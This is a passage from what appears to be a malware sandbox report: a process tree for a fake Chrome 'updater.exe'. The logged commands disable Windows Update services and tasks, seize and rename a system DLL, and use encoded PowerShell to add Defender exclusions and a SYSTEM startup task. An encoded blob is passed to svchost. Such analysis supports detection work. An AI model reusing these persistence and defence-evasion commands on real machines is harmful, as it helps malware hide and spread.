        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:840
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:1648
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:6000
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:3248
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:3036
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:916
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:1592
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:5148
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:60
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:5876
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:4496
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:3680
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:5196
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:3056
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:4856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:5976
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:3936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:740
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:3620
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:2352
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:1828
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:3304
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:3068
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:3836
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        
        PID:6076
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        
        PID:5644
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        
        PID:804
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:6124
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        Modifies registry key
        
        PID:1236
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2100
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4736
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        
        PID:4564
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:2220
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        
        PID:4992
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        
        PID:4660
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:4648
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:4308
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:4252
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:3472
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:2284
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:5588
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:5688
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:1220
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:4508
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:2424
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:6020
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:3064
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:4356
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:5436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:5936
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:5504
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:1232
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:5528
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:1768
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:5088
